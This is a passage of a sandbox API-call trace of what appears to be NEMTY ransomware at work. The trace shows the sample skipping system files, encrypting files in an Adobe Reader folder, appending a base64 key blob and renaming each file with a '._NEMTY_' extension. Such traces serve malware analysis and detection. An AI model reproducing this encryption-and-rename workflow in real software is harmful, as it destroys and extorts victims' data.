CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stop_collection_data.gif", lpUsedDefaultChar=0x0) returned 24 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94340 [0193.826] Sleep (dwMilliseconds=0x5) [0193.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x272d6110, dwHighDateTime=0x1d561e8)) [0193.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x272d6110, dwHighDateTime=0x1d561e8)) [0193.828] GetLastError () returned 0x0 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.828] GetLastError () returned 0x0 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.828] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.828] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.828] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.828] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="dD/7UIeBwVvz4yCxNqzx3rIBxqlCXjSRToiVzicdIS6KjAIGXt6M16kMs1hkWhM2\r\nXXlDmJeYpRKEVRhJzuhzvxxg0B7cZXrDyROQPHIZMlGHsV7NYdQqy4MWM34fcPYM\r\n655oaXAGxaSHyxF82TUNt6OeY6IXhXFrrwaUV9KpzzGpah9ooMWboP7Wvv+s6uVQ\r\nqHNlY4ChYcgMk1nP6KNr8zTDE4o+mags8RU6TVqsUqISb0l25lNfxiRZm3BpXL6m\r\nBeu0mnaGubnzj+Vw/DOfeeVDQOpET8+yKQfIGx354l3vooiKssdmOco3cUW7wrGy\r\nhhJ+ukhdE77QNEfnZcr00g==\r\n", pcchString=0x653e91c) returned 1 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.829] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=915) returned 1 [0193.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x390) returned 0x6340048 [0193.829] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.829] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x390, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x390, lpOverlapped=0x0) returned 1 [0193.833] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.833] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x390, lpOverlapped=0x0) returned 1 [0193.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.833] SetFilePointer (in: hFile=0x254, lDistanceToMove=915, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x393 [0193.833] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.833] CloseHandle (hObject=0x254) returned 1 [0193.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0193.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.834] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif._nemty_kgobjgd_")) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94340 | out: hHeap=0x4f90000) returned 1 [0193.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.835] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2=".") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="..") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="...") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="windows") returned -1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="rsa") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="NTDETECT.COM") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="ntldr") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="MSDOS.SYS") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="IO.SYS") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="boot.ini") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="boot.ini") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="ntuser.dat") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="desktop.ini") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="CONFIG.SYS") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="RECYCLER") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="bootmgr") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="programdata") returned 1 [0193.835] lstrcmpiW (lpString1="submission_history.gif", lpString2="appdata") returned 1 [0193.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="submission_history.gif", lpUsedDefaultChar=0x0) returned 22 [0193.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="submission_history.gif", lpUsedDefaultChar=0x0) returned 22 [0193.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="submission_history.gif", lpUsedDefaultChar=0x0) returned 22 [0193.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="submission_history.gif", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="submission_history.gif", lpUsedDefaultChar=0x0) returned 22 [0193.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94340 [0193.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.836] Sleep (dwMilliseconds=0x5) [0193.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x272fc270, dwHighDateTime=0x1d561e8)) [0193.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x272fc270, dwHighDateTime=0x1d561e8)) [0193.844] GetLastError () returned 0x0 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.844] GetLastError () returned 0x0 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.844] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.844] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="UoPjhy2PkqnzdgJPPLetemChmwMzKmXpe+jU9L8AX0jQ1QUIGlqOYBCb6QoH6XqI\r\nAcQ/CNqhD8Am1f65QEG3vr09NCK8V8aeOI/d2iyNxvXDunFetmVhNOOpIWdvD7Eo\r\namHzrGH/te85yHEkSm4P7cbwMpqwLL09To8SjHHo+M6Zr5f9C1B/IHctyhY/9uYR\r\neknCNcT7DsLb43+nDZOvAc4Z2GNGJa7ksLTmUwrZEFvLNhbRoeeuQUkb2qDkTn0d\r\nLENvm3fDjweE/S9ruk1BEtxa/Y7QtaBfS0QVFwm9JJtsDTBFn2dLdWxznhLjPdOn\r\ne4fQ6QK4ZhfVgp6Op7YvcQ==\r\n", pcchString=0x653e91c) returned 1 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.845] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=906) returned 1 [0193.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x380) returned 0x6340048 [0193.845] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.845] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x380, lpOverlapped=0x0) returned 1 [0193.846] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.846] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x380, lpOverlapped=0x0) returned 1 [0193.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.847] SetFilePointer (in: hFile=0x254, lDistanceToMove=906, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38a [0193.847] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.847] CloseHandle (hObject=0x254) returned 1 [0193.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.847] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif._nemty_kgobjgd_")) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.848] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2=".") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="..") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="...") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="windows") returned -1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="rsa") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="NTDETECT.COM") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="ntldr") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="MSDOS.SYS") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="IO.SYS") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="boot.ini") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="boot.ini") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="ntuser.dat") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="desktop.ini") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="CONFIG.SYS") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="RECYCLER") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="bootmgr") returned 1 [0193.848] lstrcmpiW (lpString1="tl.gif", lpString2="programdata") returned 1 [0193.849] lstrcmpiW (lpString1="tl.gif", lpString2="appdata") returned 1 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 